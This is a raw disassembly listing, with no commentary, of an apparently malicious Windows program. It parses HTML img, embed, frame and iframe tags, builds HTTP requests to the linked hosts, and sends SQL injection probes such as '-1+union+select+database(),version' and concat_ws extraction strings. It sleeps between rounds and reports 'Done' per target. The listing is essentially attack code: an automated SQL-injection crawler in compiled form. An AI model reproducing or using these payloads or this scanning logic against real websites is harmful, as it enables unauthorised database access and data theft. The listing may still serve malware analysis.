		call	sub_40D695
		test	eax, eax
		jnz	short loc_40E3E0


loc_40E45C:				; CODE XREF: .text:0040E3F2j
		push	offset byte_44D6A4
		lea	ecx, [ebp-110h]
		call	sub_40D684
		test	eax, eax
		jz	loc_40E730
		push	esi
		lea	eax, [ebp-264h]
		push	dword ptr [ebp-10h]
		lea	ecx, [ebp-44h]
		push	eax
		call	sub_40D95B
		push	1
		push	edi
		lea	ecx, [ebp-160h]
		push	1
		push	ecx
		mov	ecx, eax
		mov	byte ptr [ebp-4], 11h
		call	sub_40D810
		lea	ecx, [ebp-264h]
		call	sub_40D58A
		lea	ecx, [ebp-170h]
		call	sub_40D512
		push	ebx
		lea	ecx, [ebp-160h]
		mov	byte ptr [ebp-4], 14h
		call	sub_40D97F
		cmp	byte ptr [eax],	2Fh
		lea	ecx, [ebp-160h]
		jnz	short loc_40E4FD
		call	sub_40D989
		push	eax
		lea	ecx, [ebp-1E4h]
		push	dword ptr [ebp-1B4h]
		call	sub_40D989
		push	eax
		lea	eax, [ebp-170h]
		push	offset aHttpSDS	; "http://%s:%d%s"
		push	eax
		call	sub_40D6A6
		add	esp, 14h
		jmp	short loc_40E55D
; ---------------------------------------------------------------------------


loc_40E4FD:				; CODE XREF: .text:0040E4CDj
		push	offset aHttp_0	; "http://"
		call	sub_40D71D
		test	eax, eax
		jz	short loc_40E51F
		lea	eax, [ebp-160h]
		lea	ecx, [ebp-170h]
		push	eax
		call	sub_40D60A
		jmp	short loc_40E55D
; ---------------------------------------------------------------------------


loc_40E51F:				; CODE XREF: .text:0040E509j
		lea	ecx, [ebp-160h]
		call	sub_40D989
		push	eax
		lea	ecx, [ebp-1B0h]
		call	sub_40D989
		push	eax
		lea	ecx, [ebp-1E4h]
		push	dword ptr [ebp-1B4h]
		call	sub_40D989
		push	eax
		lea	eax, [ebp-170h]
		push	offset aHttpSDSS ; "http://%s:%d%s%s"
		push	eax
		call	sub_40D6A6
		add	esp, 18h


loc_40E55D:				; CODE XREF: .text:0040E4FBj
					; .text:0040E51Dj
		lea	eax, [ebp-0ACh]
		lea	ecx, [ebp-170h]
		push	eax
		call	sub_40D989
		push	eax
		call	sub_40DB4B
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40E71A
		cmp	dword ptr [ebp-6Ch], 50h
		lea	ecx, [ebp-9Ch]
		jnz	short loc_40E5A4
		call	sub_40D989
		push	eax
		lea	eax, [ebp-20h]
		push	offset aHostS	; "Host: %s"
		push	eax
		call	sub_40D6A6
		add	esp, 0Ch
		jmp	short loc_40E5BE
; ---------------------------------------------------------------------------


loc_40E5A4:				; CODE XREF: .text:0040E589j
		push	dword ptr [ebp-6Ch]
		call	sub_40D989
		push	eax
		lea	eax, [ebp-20h]
		push	offset aHostSD	; "Host: %s:%d"
		push	eax
		call	sub_40D6A6
		add	esp, 10h


loc_40E5BE:				; CODE XREF: .text:0040E5A2j
		lea	eax, [ebp-848h]
		lea	ecx, [ebp-20h]
		push	eax
		call	sub_40D989
		push	eax
		lea	ecx, [ebp-68h]
		push	dword ptr [ebp+8]
		call	sub_40D989
		push	eax
		lea	eax, [ebp-30h]
		push	offset aGetSHttp1_1Acc ; "GET %s HTTP/1.1\r\nAccept: image/gif,	ima"...
		push	eax
		call	sub_40D6A6
		add	esp, 18h
		lea	eax, [ebp-0ACh]
		lea	ecx, [ebp-30h]
		push	eax
		call	sub_40D989
		push	eax
		lea	eax, [ebp-364h]
		push	eax
		call	sub_40DA0E
		add	esp, 0Ch
		lea	ecx, [ebp-364h]
		call	sub_40D58A
		lea	eax, [ebp-848h]
		lea	ecx, [ebp-20h]
		push	eax
		call	sub_40D989
		push	eax
		lea	ecx, [ebp-68h]
		push	dword ptr [ebp+8]
		call	sub_40D989
		push	eax
		lea	eax, [ebp-30h]
		push	offset aGetS1UnionSele ; "GET %s=-1+union+select+database(),versi"...
		push	eax
		call	sub_40D6A6
		add	esp, 18h
		lea	eax, [ebp-0ACh]
		lea	ecx, [ebp-30h]
		push	eax
		call	sub_40D989
		push	eax
		lea	eax, [ebp-284h]
		push	eax
		call	sub_40DA0E
		add	esp, 0Ch
		lea	ecx, [ebp-284h]
		call	sub_40D58A
		lea	eax, [ebp-848h]
		lea	ecx, [ebp-20h]
		push	eax
		call	sub_40D989
		push	eax
		lea	ecx, [ebp-68h]
		push	dword ptr [ebp+8]
		call	sub_40D989
		push	eax
		lea	eax, [ebp-30h]
		push	offset aGetS1UnionSe_0 ; "GET %s=-1+union+select+1,2,concat_ws(0x"...
		push	eax
		call	sub_40D6A6
		add	esp, 18h
		lea	eax, [ebp-0ACh]
		lea	ecx, [ebp-30h]
		push	eax
		call	sub_40D989
		push	eax
		lea	eax, [ebp-324h]
		push	eax
		call	sub_40DA0E
		add	esp, 0Ch
		lea	ecx, [ebp-324h]
		call	sub_40D58A
		lea	eax, [ebp-848h]
		lea	ecx, [ebp-20h]
		push	eax
		call	sub_40D989
		push	eax
		push	dword ptr [ebp+8]
		lea	ecx, [ebp-68h]
		call	sub_40D989
		push	eax
		lea	eax, [ebp-30h]
		push	offset aGetS1UnionSe_1 ; "GET %s=-1+union+select+1,2,concat_ws(ch"...
		push	eax
		call	sub_40D6A6
		add	esp, 18h
		lea	eax, [ebp-0ACh]
		lea	ecx, [ebp-30h]
		push	eax
		call	sub_40D989
		push	eax
		lea	eax, [ebp-2A4h]
		push	eax
		call	sub_40DA0E
		add	esp, 0Ch
		lea	ecx, [ebp-2A4h]
		call	sub_40D58A


loc_40E71A:				; CODE XREF: .text:0040E579j
		lea	ecx, [ebp-170h]
		call	sub_40D58A
		lea	ecx, [ebp-160h]
		call	sub_40D58A


loc_40E730:				; CODE XREF: .text:0040E46Ej
		lea	ecx, [ebp-110h]
		jmp	loc_40EF24
; ---------------------------------------------------------------------------


loc_40E73B:				; CODE XREF: .text:0040E3AAj
		push	offset aImg	; "img"
		lea	ecx, [ebp-0BCh]
		call	sub_40D695
		test	eax, eax
		jnz	loc_40E9D9
		push	esi
		lea	eax, [ebp-3A4h]
		push	ebx
		push	eax
		lea	ecx, [ebp-44h]
		mov	[ebp-10h], ebx
		call	sub_40D95B
		push	edi
		lea	ecx, [ebp-140h]
		push	ebx
		push	ecx
		mov	ecx, eax
		mov	byte ptr [ebp-4], 15h
		call	sub_40D95B
		lea	ecx, [ebp-3A4h]
		jmp	short loc_40E7E2
; ---------------------------------------------------------------------------


loc_40E783:				; CODE XREF: .text:0040E7FDj
		push	offset byte_44D6A4
		lea	ecx, [ebp-140h]
		call	sub_40D684
		test	eax, eax
		jz	short loc_40E7FF
		inc	dword ptr [ebp-10h]
		push	esi
		push	dword ptr [ebp-10h]
		lea	eax, [ebp-344h]
		lea	ecx, [ebp-44h]
		push	eax
		call	sub_40D95B
		push	edi
		lea	ecx, [ebp-2C4h]
		push	ebx
		push	ecx
		mov	ecx, eax
		mov	byte ptr [ebp-4], 18h
		call	sub_40D95B
		push	eax
		lea	ecx, [ebp-140h]
		mov	byte ptr [ebp-4], 19h
		call	sub_40D60A
		lea	ecx, [ebp-2C4h]
		call	sub_40D58A
		lea	ecx, [ebp-344h]


loc_40E7E2:				; CODE XREF: .text:0040E781j
		mov	byte ptr [ebp-4], 17h
		call	sub_40D58A
		lea	ecx, [ebp-140h]
		push	offset aSrc	; "src"
		call	sub_40D695
		test	eax, eax
		jnz	short loc_40E783


loc_40E7FF:				; CODE XREF: .text:0040E795j
		push	offset byte_44D6A4
		lea	ecx, [ebp-140h]
		call	sub_40D684
		test	eax, eax
		jz	loc_40E9CE
		push	esi
		lea	eax, [ebp-2E4h]
		push	dword ptr [ebp-10h]
		lea	ecx, [ebp-44h]
		push	eax
		call	sub_40D95B
		push	1
		push	edi
		lea	ecx, [ebp-0E0h]
		push	1
		push	ecx
		mov	ecx, eax
		mov	byte ptr [ebp-4], 1Ah
		call	sub_40D810
		lea	ecx, [ebp-2E4h]
		call	sub_40D58A
		lea	ecx, [ebp-1A0h]
		call	sub_40D512
		push	ebx
		lea	ecx, [ebp-0E0h]
		mov	byte ptr [ebp-4], 1Dh
		call	sub_40D97F
		cmp	byte ptr [eax],	2Fh
		lea	ecx, [ebp-0E0h]
		jnz	short loc_40E8A0
		call	sub_40D989
		push	eax
		lea	ecx, [ebp-1E4h]
		push	dword ptr [ebp-1B4h]
		call	sub_40D989
		push	eax
		lea	eax, [ebp-1A0h]
		push	offset aHttpSDS	; "http://%s:%d%s"
		push	eax
		call	sub_40D6A6
		add	esp, 14h
		jmp	short loc_40E900
; ---------------------------------------------------------------------------


loc_40E8A0:				; CODE XREF: .text:0040E870j
		push	offset aHttp_0	; "http://"
		call	sub_40D71D
		test	eax, eax
		jz	short loc_40E8C2
		lea	eax, [ebp-0E0h]
		lea	ecx, [ebp-1A0h]
		push	eax
		call	sub_40D60A
		jmp	short loc_40E900
; ---------------------------------------------------------------------------


loc_40E8C2:				; CODE XREF: .text:0040E8ACj
		lea	ecx, [ebp-0E0h]
		call	sub_40D989
		push	eax
		lea	ecx, [ebp-1B0h]
		call	sub_40D989
		push	eax
		lea	ecx, [ebp-1E4h]
		push	dword ptr [ebp-1B4h]
		call	sub_40D989
		push	eax
		lea	eax, [ebp-1A0h]
		push	offset aHttpSDSS ; "http://%s:%d%s%s"
		push	eax
		call	sub_40D6A6
		add	esp, 18h


loc_40E900:				; CODE XREF: .text:0040E89Ej
					; .text:0040E8C0j
		lea	eax, [ebp-0ACh]
		lea	ecx, [ebp-1A0h]
		push	eax
		call	sub_40D989
		push	eax
		call	sub_40DB4B
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40E9B8
		cmp	dword ptr [ebp-6Ch], 50h
		lea	ecx, [ebp-9Ch]
		jnz	short loc_40E947
		call	sub_40D989
		push	eax
		lea	eax, [ebp-20h]
		push	offset aHostS	; "Host: %s"
		push	eax
		call	sub_40D6A6
		add	esp, 0Ch
		jmp	short loc_40E961
; ---------------------------------------------------------------------------


loc_40E947:				; CODE XREF: .text:0040E92Cj
		push	dword ptr [ebp-6Ch]
		call	sub_40D989
		push	eax
		lea	eax, [ebp-20h]
		push	offset aHostSD	; "Host: %s:%d"
		push	eax
		call	sub_40D6A6
		add	esp, 10h


loc_40E961:				; CODE XREF: .text:0040E945j
		lea	eax, [ebp-848h]
		lea	ecx, [ebp-20h]
		push	eax
		call	sub_40D989
		push	eax
		lea	ecx, [ebp-68h]
		push	dword ptr [ebp+8]
		call	sub_40D989
		push	eax
		lea	eax, [ebp-30h]
		push	offset aGetSHttp1_1Acc ; "GET %s HTTP/1.1\r\nAccept: image/gif,	ima"...
		push	eax
		call	sub_40D6A6
		add	esp, 18h
		lea	eax, [ebp-0ACh]
		lea	ecx, [ebp-30h]
		push	eax
		call	sub_40D989
		push	eax
		lea	eax, [ebp-224h]
		push	eax
		call	sub_40DA0E
		add	esp, 0Ch
		lea	ecx, [ebp-224h]
		call	sub_40D58A


loc_40E9B8:				; CODE XREF: .text:0040E91Cj
		lea	ecx, [ebp-1A0h]
		call	sub_40D58A
		lea	ecx, [ebp-0E0h]
		call	sub_40D58A


loc_40E9CE:				; CODE XREF: .text:0040E811j
		lea	ecx, [ebp-140h]
		jmp	loc_40EF24
; ---------------------------------------------------------------------------


loc_40E9D9:				; CODE XREF: .text:0040E74Dj
		push	offset aEmbed	; "embed"
		lea	ecx, [ebp-0BCh]
		call	sub_40D695
		test	eax, eax
		jnz	loc_40EC77
		push	esi
		lea	eax, [ebp-234h]
		push	ebx
		push	eax
		lea	ecx, [ebp-44h]
		mov	[ebp-10h], ebx
		call	sub_40D95B
		push	edi
		lea	ecx, [ebp-130h]
		push	ebx
		push	ecx
		mov	ecx, eax
		mov	byte ptr [ebp-4], 1Eh
		call	sub_40D95B
		lea	ecx, [ebp-234h]
		jmp	short loc_40EA80
; ---------------------------------------------------------------------------


loc_40EA21:				; CODE XREF: .text:0040EA9Bj
		push	offset byte_44D6A4
		lea	ecx, [ebp-130h]
		call	sub_40D684
		test	eax, eax
		jz	short loc_40EA9D
		inc	dword ptr [ebp-10h]
		push	esi
		push	dword ptr [ebp-10h]
		lea	eax, [ebp-274h]
		lea	ecx, [ebp-44h]
		push	eax
		call	sub_40D95B
		push	edi
		lea	ecx, [ebp-254h]
		push	ebx
		push	ecx
		mov	ecx, eax
		mov	byte ptr [ebp-4], 21h
		call	sub_40D95B
		push	eax
		lea	ecx, [ebp-130h]
		mov	byte ptr [ebp-4], 22h
		call	sub_40D60A
		lea	ecx, [ebp-254h]
		call	sub_40D58A
		lea	ecx, [ebp-274h]


loc_40EA80:				; CODE XREF: .text:0040EA1Fj
		mov	byte ptr [ebp-4], 20h
		call	sub_40D58A
		lea	ecx, [ebp-130h]
		push	offset aSrc	; "src"
		call	sub_40D695
		test	eax, eax
		jnz	short loc_40EA21


loc_40EA9D:				; CODE XREF: .text:0040EA33j
		push	offset byte_44D6A4
		lea	ecx, [ebp-130h]
		call	sub_40D684
		test	eax, eax
		jz	loc_40EC6C
		push	esi
		lea	eax, [ebp-294h]
		push	dword ptr [ebp-10h]
		lea	ecx, [ebp-44h]
		push	eax
		call	sub_40D95B
		push	1
		push	edi
		lea	ecx, [ebp-150h]
		push	1
		push	ecx
		mov	ecx, eax
		mov	byte ptr [ebp-4], 23h
		call	sub_40D810
		lea	ecx, [ebp-294h]
		call	sub_40D58A
		lea	ecx, [ebp-190h]
		call	sub_40D512
		push	ebx
		lea	ecx, [ebp-150h]
		mov	byte ptr [ebp-4], 26h
		call	sub_40D97F
		cmp	byte ptr [eax],	2Fh
		lea	ecx, [ebp-150h]
		jnz	short loc_40EB3E
		call	sub_40D989
		push	eax
		lea	ecx, [ebp-1E4h]
		push	dword ptr [ebp-1B4h]
		call	sub_40D989
		push	eax
		lea	eax, [ebp-190h]
		push	offset aHttpSDS	; "http://%s:%d%s"
		push	eax
		call	sub_40D6A6
		add	esp, 14h
		jmp	short loc_40EB9E
; ---------------------------------------------------------------------------


loc_40EB3E:				; CODE XREF: .text:0040EB0Ej
		push	offset aHttp_0	; "http://"
		call	sub_40D71D
		test	eax, eax
		jz	short loc_40EB60
		lea	eax, [ebp-150h]
		lea	ecx, [ebp-190h]
		push	eax
		call	sub_40D60A
		jmp	short loc_40EB9E
; ---------------------------------------------------------------------------


loc_40EB60:				; CODE XREF: .text:0040EB4Aj
		lea	ecx, [ebp-150h]
		call	sub_40D989
		push	eax
		lea	ecx, [ebp-1B0h]
		call	sub_40D989
		push	eax
		lea	ecx, [ebp-1E4h]
		push	dword ptr [ebp-1B4h]
		call	sub_40D989
		push	eax
		lea	eax, [ebp-190h]
		push	offset aHttpSDSS ; "http://%s:%d%s%s"
		push	eax
		call	sub_40D6A6
		add	esp, 18h


loc_40EB9E:				; CODE XREF: .text:0040EB3Cj
					; .text:0040EB5Ej
		lea	eax, [ebp-0ACh]
		lea	ecx, [ebp-190h]
		push	eax
		call	sub_40D989
		push	eax
		call	sub_40DB4B
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40EC56
		cmp	dword ptr [ebp-6Ch], 50h
		lea	ecx, [ebp-9Ch]
		jnz	short loc_40EBE5
		call	sub_40D989
		push	eax
		lea	eax, [ebp-20h]
		push	offset aHostS	; "Host: %s"
		push	eax
		call	sub_40D6A6
		add	esp, 0Ch
		jmp	short loc_40EBFF
; ---------------------------------------------------------------------------


loc_40EBE5:				; CODE XREF: .text:0040EBCAj
		push	dword ptr [ebp-6Ch]
		call	sub_40D989
		push	eax
		lea	eax, [ebp-20h]
		push	offset aHostSD	; "Host: %s:%d"
		push	eax
		call	sub_40D6A6
		add	esp, 10h


loc_40EBFF:				; CODE XREF: .text:0040EBE3j
		lea	eax, [ebp-848h]
		lea	ecx, [ebp-20h]
		push	eax
		call	sub_40D989
		push	eax
		lea	ecx, [ebp-68h]
		push	dword ptr [ebp+8]
		call	sub_40D989
		push	eax
		lea	eax, [ebp-30h]
		push	offset aGetSHttp1_1Acc ; "GET %s HTTP/1.1\r\nAccept: image/gif,	ima"...
		push	eax
		call	sub_40D6A6
		add	esp, 18h
		lea	eax, [ebp-0ACh]
		lea	ecx, [ebp-30h]
		push	eax
		call	sub_40D989
		push	eax
		lea	eax, [ebp-2B4h]
		push	eax
		call	sub_40DA0E
		add	esp, 0Ch
		lea	ecx, [ebp-2B4h]
		call	sub_40D58A


loc_40EC56:				; CODE XREF: .text:0040EBBAj
		lea	ecx, [ebp-190h]
		call	sub_40D58A
		lea	ecx, [ebp-150h]
		call	sub_40D58A


loc_40EC6C:				; CODE XREF: .text:0040EAAFj
		lea	ecx, [ebp-130h]
		jmp	loc_40EF24
; ---------------------------------------------------------------------------


loc_40EC77:				; CODE XREF: .text:0040E9EBj
		push	offset aFrame	; "frame"
		lea	ecx, [ebp-0BCh]
		call	sub_40D695
		test	eax, eax
		jz	short loc_40ECA3
		push	offset aIframe	; "iframe"
		lea	ecx, [ebp-0BCh]
		call	sub_40D695
		test	eax, eax
		jnz	loc_40EF29


loc_40ECA3:				; CODE XREF: .text:0040EC89j
		push	esi
		lea	eax, [ebp-2D4h]
		push	ebx
		push	eax
		lea	ecx, [ebp-44h]
		mov	[ebp-10h], ebx
		call	sub_40D95B
		push	edi
		lea	ecx, [ebp-120h]
		push	ebx
		push	ecx
		mov	ecx, eax
		mov	byte ptr [ebp-4], 27h
		call	sub_40D95B
		lea	ecx, [ebp-2D4h]
		jmp	short loc_40ED32
; ---------------------------------------------------------------------------


loc_40ECD3:				; CODE XREF: .text:0040ED4Dj
		push	offset byte_44D6A4
		lea	ecx, [ebp-120h]
		call	sub_40D684
		test	eax, eax
		jz	short loc_40ED4F
		inc	dword ptr [ebp-10h]
		push	esi
		push	dword ptr [ebp-10h]
		lea	eax, [ebp-314h]
		lea	ecx, [ebp-44h]
		push	eax
		call	sub_40D95B
		push	edi
		lea	ecx, [ebp-2F4h]
		push	ebx
		push	ecx
		mov	ecx, eax
		mov	byte ptr [ebp-4], 2Ah
		call	sub_40D95B
		push	eax
		lea	ecx, [ebp-120h]
		mov	byte ptr [ebp-4], 2Bh
		call	sub_40D60A
		lea	ecx, [ebp-2F4h]
		call	sub_40D58A
		lea	ecx, [ebp-314h]


loc_40ED32:				; CODE XREF: .text:0040ECD1j
		mov	byte ptr [ebp-4], 29h
		call	sub_40D58A
		lea	ecx, [ebp-120h]
		push	offset aSrc	; "src"
		call	sub_40D695
		test	eax, eax
		jnz	short loc_40ECD3


loc_40ED4F:				; CODE XREF: .text:0040ECE5j
		push	offset byte_44D6A4
		lea	ecx, [ebp-120h]
		call	sub_40D684
		test	eax, eax
		jz	loc_40EF1E
		push	esi
		lea	eax, [ebp-334h]
		push	dword ptr [ebp-10h]
		lea	ecx, [ebp-44h]
		push	eax
		call	sub_40D95B
		push	1
		push	edi
		lea	ecx, [ebp-100h]
		push	1
		push	ecx
		mov	ecx, eax
		mov	byte ptr [ebp-4], 2Ch
		call	sub_40D810
		lea	ecx, [ebp-334h]
		call	sub_40D58A
		lea	ecx, [ebp-180h]
		call	sub_40D512
		push	ebx
		lea	ecx, [ebp-100h]
		mov	byte ptr [ebp-4], 2Fh
		call	sub_40D97F
		cmp	byte ptr [eax],	2Fh
		lea	ecx, [ebp-100h]
		jnz	short loc_40EDF0
		call	sub_40D989
		push	eax
		lea	ecx, [ebp-1E4h]
		push	dword ptr [ebp-1B4h]
		call	sub_40D989
		push	eax
		lea	eax, [ebp-180h]
		push	offset aHttpSDS	; "http://%s:%d%s"
		push	eax
		call	sub_40D6A6
		add	esp, 14h
		jmp	short loc_40EE50
; ---------------------------------------------------------------------------


loc_40EDF0:				; CODE XREF: .text:0040EDC0j
		push	offset aHttp_0	; "http://"
		call	sub_40D71D
		test	eax, eax
		jz	short loc_40EE12
		lea	eax, [ebp-100h]
		lea	ecx, [ebp-180h]
		push	eax
		call	sub_40D60A
		jmp	short loc_40EE50
; ---------------------------------------------------------------------------


loc_40EE12:				; CODE XREF: .text:0040EDFCj
		lea	ecx, [ebp-100h]
		call	sub_40D989
		push	eax
		lea	ecx, [ebp-1B0h]
		call	sub_40D989
		push	eax
		lea	ecx, [ebp-1E4h]
		push	dword ptr [ebp-1B4h]
		call	sub_40D989
		push	eax
		lea	eax, [ebp-180h]
		push	offset aHttpSDSS ; "http://%s:%d%s%s"
		push	eax
		call	sub_40D6A6
		add	esp, 18h


loc_40EE50:				; CODE XREF: .text:0040EDEEj
					; .text:0040EE10j
		lea	eax, [ebp-0ACh]
		lea	ecx, [ebp-180h]
		push	eax
		call	sub_40D989
		push	eax
		call	sub_40DB4B
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40EF08
		cmp	dword ptr [ebp-6Ch], 50h
		lea	ecx, [ebp-9Ch]
		jnz	short loc_40EE97
		call	sub_40D989
		push	eax
		lea	eax, [ebp-20h]
		push	offset aHostS	; "Host: %s"
		push	eax
		call	sub_40D6A6
		add	esp, 0Ch
		jmp	short loc_40EEB1
; ---------------------------------------------------------------------------


loc_40EE97:				; CODE XREF: .text:0040EE7Cj
		push	dword ptr [ebp-6Ch]
		call	sub_40D989
		push	eax
		lea	eax, [ebp-20h]
		push	offset aHostSD	; "Host: %s:%d"
		push	eax
		call	sub_40D6A6
		add	esp, 10h


loc_40EEB1:				; CODE XREF: .text:0040EE95j
		lea	eax, [ebp-848h]
		lea	ecx, [ebp-20h]
		push	eax
		call	sub_40D989
		push	eax
		lea	ecx, [ebp-68h]
		push	dword ptr [ebp+8]
		call	sub_40D989
		push	eax
		lea	eax, [ebp-30h]
		push	offset aGetSHttp1_1Acc ; "GET %s HTTP/1.1\r\nAccept: image/gif,	ima"...
		push	eax
		call	sub_40D6A6
		add	esp, 18h
		lea	eax, [ebp-0ACh]
		lea	ecx, [ebp-30h]
		push	eax
		call	sub_40D989
		push	eax
		lea	eax, [ebp-354h]
		push	eax
		call	sub_40DA0E
		add	esp, 0Ch
		lea	ecx, [ebp-354h]
		call	sub_40D58A


loc_40EF08:				; CODE XREF: .text:0040EE6Cj
		lea	ecx, [ebp-180h]
		call	sub_40D58A
		lea	ecx, [ebp-100h]
		call	sub_40D58A


loc_40EF1E:				; CODE XREF: .text:0040ED61j
		lea	ecx, [ebp-120h]


loc_40EF24:				; CODE XREF: .text:0040E393j
					; .text:0040E736j ...
		call	sub_40D58A


loc_40EF29:				; CODE XREF: .text:0040EC9Dj
		lea	ecx, [ebp-0BCh]
		call	sub_40D58A
		lea	ecx, [ebp-44h]
		call	sub_40D58A
		lea	ecx, [ebp-0F0h]
		call	sub_40D58A
		lea	ecx, [ebp-0ACh]
		mov	byte ptr [ebp-4], 3
		call	sub_40F05F


loc_40EF56:				; CODE XREF: .text:0040E153j
		cmp	[ebp-3B4h], ebx
		jnz	loc_40E158
		jmp	short loc_40EF73
; ---------------------------------------------------------------------------


loc_40EF64:				; CODE XREF: .text:0040E176j
		lea	ecx, [ebp-0ACh]
		mov	byte ptr [ebp-4], 3
		call	sub_40F05F


loc_40EF73:				; CODE XREF: .text:0040EF62j
		mov	eax, [ebp-3B8h]
		cmp	eax, ebx
		jnz	short loc_40EF8E
		push	5265C00h
		push	36EE80h
		call	sub_41409E
		pop	ecx
		pop	ecx


loc_40EF8E:				; CODE XREF: .text:0040EF7Bj
		push	eax
		call	dword_42F15C	; Sleep
		inc	dword ptr [ebp-48h]
		lea	ecx, [ebp-0CCh]
		call	sub_40D58A
		lea	ecx, [ebp-20h]
		call	sub_40D58A
		lea	ecx, [ebp-30h]
		mov	[ebp-4], bl
		call	sub_40D58A
		mov	eax, [ebp-48h]
		cmp	eax, [ebp-3C0h]
		jl	loc_40E08F


loc_40EFC5:				; CODE XREF: .text:0040E07Fj
		cmp	[ebp-3ACh], ebx
		mov	esi, offset aDoneSU ; "Done -->	%s:%u"
		jnz	short loc_40EFFA
		cmp	[ebp-3B0h], ebx
		jnz	short loc_40F002
		push	dword ptr [ebp-3C4h]
		lea	eax, [ebp-0C48h]
		push	eax
		lea	eax, [ebp-448h]
		push	esi
		push	eax
		push	dword ptr [ebp-34h]
		call	sub_4104F6
		add	esp, 14h


loc_40EFFA:				; CODE XREF: .text:0040EFD0j
		cmp	[ebp-3B0h], ebx
		jz	short loc_40F022


loc_40F002:				; CODE XREF: .text:0040EFD8j
		push	dword ptr [ebp-3C4h]
		lea	eax, [ebp-0C48h]
		push	eax
		lea	eax, [ebp-448h]
		push	esi
		push	eax
		push	dword ptr [ebp-34h]
		call	sub_410491
		add	esp, 14h


loc_40F022:				; CODE XREF: .text:0040F000j
		push	dword ptr [ebp-3C8h]
		call	sub_41C059
		pop	ecx
		push	ebx
		call	dword_42F150	; ExitThread

; =============== S U B	R O U T	I N E =======================================



sub_40F035	proc near		; CODE XREF: .text:0040DFCBp
					; .text:0040E15Ep
		mov	edx, ecx
		call	sub_40D512
		lea	ecx, [edx+10h]
		call	sub_40D512
		lea	ecx, [edx+20h]
		call	sub_40D512
		lea	ecx, [edx+30h]
		call	sub_40D512
		lea	ecx, [edx+44h]
		call	sub_40D512
		mov	eax, edx
		retn
sub_40F035	endp


; =============== S U B	R O U T	I N E =======================================



sub_40F05F	proc near		; CODE XREF: .text:0040E046p
					; .text:0040EF51p ...
		push	esi
		mov	esi, ecx
		lea	ecx, [esi+44h]
		call	sub_40D58A
		lea	ecx, [esi+30h]
		call	sub_40D58A
		lea	ecx, [esi+20h]
		call	sub_40D58A
		lea	ecx, [esi+10h]
		call	sub_40D58A
		mov	ecx, esi
		pop	esi
		jmp	sub_40D58A
sub_40F05F	endp


; =============== S U B	R O U T	I N E =======================================



sub_40F08A	proc near		; CODE XREF: sub_40D810+132p
					; .text:0042EC0Fj
		push	esi
		mov	esi, ecx
		push	dword ptr [esi+4]
		call	sub_421C78
		xor	eax, eax
		pop	ecx
		mov	[esi+4], eax
		mov	[esi+8], eax
		mov	[esi+0Ch], eax
		pop	esi
		retn
sub_40F08A	endp


; =============== S U B	R O U T	I N E =======================================



sub_40F0A3	proc near		; CODE XREF: sub_40D810+112p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, ecx
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	ecx, [esi+4]
		test	ecx, ecx
		jz	short loc_40F0BE
		mov	eax, [esi+8]
		sub	eax, ecx
		sar	eax, 2
		cmp	eax, edi
		ja	short loc_40F0C5


loc_40F0BE:				; CODE XREF: sub_40F0A3+Dj
		mov	ecx, esi
		call	sub_40F0E1


loc_40F0C5:				; CODE XREF: sub_40F0A3+19j
		mov	eax, [esi+4]
		lea	eax, [eax+edi*4]
		pop	edi
		pop	esi
		retn	4
sub_40F0A3	endp


; =============== S U B	R O U T	I N E =======================================



sub_40F0D0	proc near		; CODE XREF: sub_40D810+76p

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		push	1
		push	dword ptr [ecx+8]
		call	sub_40F467
		retn	4
sub_40F0D0	endp


; =============== S U B	R O U T	I N E =======================================



sub_40F0E1	proc near		; CODE XREF: sub_40F0A3+1Dp
		mov	eax, offset loc_42EEC0
		call	sub_423A68
		sub	esp, 30h
		mov	al, [ebp-0Dh]
		push	esi
		push	0
		lea	ecx, [ebp-20h]
		mov	[ebp-20h], al
		call	sub_40F143
		mov	esi, offset aInvalidVectorT ; "invalid vector<T> subscript"
		push	esi
		call	sub_422120
		pop	ecx
		push	eax
		push	esi
		lea	ecx, [ebp-20h]
		call	sub_40F17B
		and	dword ptr [ebp-4], 0
		lea	eax, [ebp-20h]
		push	eax
		lea	ecx, [ebp-3Ch]
		call	sub_40F1B0
		lea	eax, [ebp-3Ch]
		push	offset dword_4300C0
		push	eax
		mov	dword ptr [ebp-3Ch], offset off_42F378
		call	sub_423A87
		pop	esi


loc_40F13B:				; CODE XREF: .text:0042EEBBj
					; .text:0042EF57j ...
		push	1
		call	sub_40F143
		retn
sub_40F0E1	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_40F143	proc near		; CODE XREF: sub_40F0E1+19p
					; sub_40F0E1+5Cp ...

arg_0		= byte ptr  4

		cmp	[esp+arg_0], 0
		push	esi
		mov	esi, ecx
		jz	short loc_40F16B
		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_40F16B
		dec	eax
		mov	cl, [eax]
		test	cl, cl
		jz	short loc_40F164
		cmp	cl, 0FFh
		jz	short loc_40F164
		dec	byte ptr [eax]
		jmp	short loc_40F16B
; ---------------------------------------------------------------------------


loc_40F164:				; CODE XREF: sub_40F143+16j
					; sub_40F143+1Bj
		push	eax
		call	sub_421C78
		pop	ecx


loc_40F16B:				; CODE XREF: sub_40F143+8j
					; sub_40F143+Fj ...
		and	dword ptr [esi+4], 0
		and	dword ptr [esi+8], 0
		and	dword ptr [esi+0Ch], 0
		pop	esi
		retn	4
sub_40F143	endp


; =============== S U B	R O U T	I N E =======================================



sub_40F17B	proc near		; CODE XREF: sub_40F0E1+2Fp
					; sub_40F740+28p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	edi
		mov	edi, [esp+8+arg_4]
		push	1
		push	edi
		mov	esi, ecx
		call	sub_40F3E1
		test	al, al
		jz	short loc_40F1A9
		push	edi
		push	[esp+0Ch+arg_0]
		push	dword ptr [esi+4]
		call	sub_4223F0
		mov	eax, [esi+4]
		add	esp, 0Ch
		mov	[esi+8], edi
		and	byte ptr [edi+eax], 0


loc_40F1A9:				; CODE XREF: sub_40F17B+12j
		mov	eax, esi
		pop	edi
		pop	esi
		retn	8
sub_40F17B	endp


; =============== S U B	R O U T	I N E =======================================



sub_40F1B0	proc near		; CODE XREF: sub_40F0E1+3Fp
					; sub_421C83+3Fp ...
		mov	eax, offset loc_42EED4
		call	sub_423A68
		push	ecx
		push	ecx
		push	ebx
		push	esi
		lea	eax, [ebp-10h]
		push	edi
